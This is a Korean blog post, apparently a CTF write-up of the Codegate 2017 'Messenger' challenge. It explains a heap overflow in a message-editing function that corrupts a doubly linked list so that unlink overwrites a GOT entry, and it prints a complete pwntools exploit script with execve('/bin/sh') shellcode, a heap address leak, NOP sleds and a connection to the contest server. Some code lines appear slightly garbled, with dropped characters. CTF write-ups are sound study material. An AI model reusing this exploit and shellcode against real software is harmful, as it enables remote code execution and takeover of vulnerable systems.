티스토리 뷰

Wargame & CTF/CTF

[Code Gate 2017] Messenger

Tribal 2017. 2. 16. 08:19

- 개요


  본 파일의 방어기법은 위와 같다. 뒤에서도 볼 수 있겠지만 기본 컴파일에서 NX가 해제되어 있는데 문제를 푸는 최종 과정에서 쉘코드를 실행시키면 된다.

 프로그램의 메뉴는 총 5개가 있고 각 메뉴의 기능은 메시지를 생성, 제거, 변경, 확인과 프로그램을 종료이다. CTF에서 흔히 볼 수 있는 단순한 형태의 프로그램이다.


- 취약점

 Leave message 함수의 10번째 줄에서 scanf 함수를 통해 입력하고자 하는 size를 직접 입력할 수 있다. 이 때, 11번째 if문을 통해 확인할 수 있는데 Leave message 함수의 경우, size가 최대 32bytes로 제한되어 있다. 또, 메시지를 생성하고 반환하기 전의 17번째 줄과 7번째 줄의 if문에서 볼 수 있는 전역 변수가 있는데 이 부분으로 인해 생성할 수 있는 메시지는 최대 2개로 제한되어 있다.


  다른 함수인 Change message 함수를 살펴보도록 하자.

 Leave message 함수에서 메시지를 생성한 이후, Change message 함수에서 메시지의 내용을 변경하려고 하는 과정에서 BOF 취약점이 존재한다. Leave message 함수와 동일하게 size를 입력하고 메시지의 내용을 입력하는데 Leave message 함수에서 32bytes로 제한되어 있던 size의 값이 Change message 함수에서는 볼 수 없다. 때문에 메시지를 2개 생성하고 0번째 메시지를 BOF 취약점을 이용해 Overflow하면 1번째 메시지를 덮을 수 있다.


  BOF 취약점을 단순하게 이용해서 Return Address를 덮거나 할 수는 없다. Leave message의 13번째 줄의 함수를 살펴보도록 하자. 

 Leave message에서 생성되는 메시지는 입력한 size를 인자로 sbrk 함수를 거쳐 데이터 영역의 최하위 부분에 메모리 영역을 생성하고 메시지를 입력한다. sbrk 함수는 malloc 함수의 내부에서도 사용되는 함수이다. heap 영역을 할당한다고 생각하면 알기 쉬운데, 52번째 줄부터 이중 연결리스트로 메모리 영역을 연결하는 부분도 존재하기 때문에 heap의 chunk를 연상시킬 수 있다.


- 풀이 방법

 Leave 함수에서 2개의 메시지를 임의로 생성하고 “AAAA”“BBBB”를 입력한 모습이다. 0x603030 0x603060에 입력한 메시지의 내용이 들어간 것을 볼 수 있으며, 입력된 메시지의 위에는 이중 연결리스트를 위한 주소가 들어간 것을 볼 수 있다.


  만약 0번째 메시지를 제거할 경우는 위의 그림에서 보이는 빨간색 화살표의 방향으로 이중 연결리스트가 정리된다. 0x603000 + (+8)의 위치에 0x603048이 들어가고, 0x603048 + (+16)의 위치에 0x603000이 들어간다. 첫 번째 주소(0x603048)과 두 번째 주소(0x603000)을 원하는 주소로 변경할 경우 화살표가 가리키는 방식대로 주소가 변경되고 EIP 또한 변경 가능할 것이다.

  

  최종적인 공격 순서는 아래와 같다.

  1. 0번째 메시지 생성
  2. 1번째 메시지 생성
  3. 0번째 메시지를 변경하여 31바이트(개행이 추가되므로)만큼 내용 입력
  4. View message를 통해 Memory Leak
  5. 0번째 메시지를 변경하여 Overflow와 동시에 쉘코드 입력
  6. 1번째 메시지를 삭제 -> unlink를 통해 GOT 영역 변조
  7. 0번째 메시지를 변경할 때 입력한 쉘코드가 실행되고 쉘 실행

- 페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python
from pwn import *
 
got = 0x602018
jump = 0xeb5aeb5aeb5a
shellcode = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"
shellcode += "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
shellcode += "\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
shellcode += "\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"    # 38 bytes
 
= remote("110.10.212.137"3333)
#s = process("./messenger")
 
def Leave(size, str1):
    print s.recvuntil(">> ")
    s.sendline("L")
 
    print s.recvuntil("size : ")
    s.sendline(str(size))
 
    print s.recvuntil("msg : ")
    s.sendline(str1)
 
def Change(index, size, str1):
    print s.recvuntil(">> ")
    s.sendline("C")
 
    print s.recvuntil("index : ")
    s.sendline(str(index))
 
    print s.recvuntil("size : ")
    s.sendline(str(size))
 
    print s.recvuntil("msg : ")
    s.sendline(str1)
 
def Remove(index):
    print s.recvuntil(">> ")
    s.sendline("R")
 
    print s.recvuntil("index : ")
    s.sendline(str(index))
 
def View(index):
    print s.recvuntil(">> ")
    s.sendline("V")
 
    print s.recvuntil("index : ")
    s.sendline(str(index))
 
if __name__ == '__main__':
    Leave(10"AAAA")
    Leave(10"BBBB")
    Change(050"A"*39)
    
    View(0)
    print s.recvuntil("A"*39+"\n")
    heap = u64(s.recvn(4+ "\x00"*4)
    print hex(heap)
 
    payload = p64(jump)*4
    payload += p64(heap+0x18)
    payload += p64(got-8)
    payload += "\x90"*300
    payload += shellcode
    payload += "\x90"*100
    Change(01000, payload)
    Remove(1)    
 
    s.interactive()
    s.close()
cs


- 결과 화면


----------------------------------------------------------------------

풀이 보고서를 올리는 것도 생각해 보았지만 나 혼자 쓴게 아니니깐...

댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31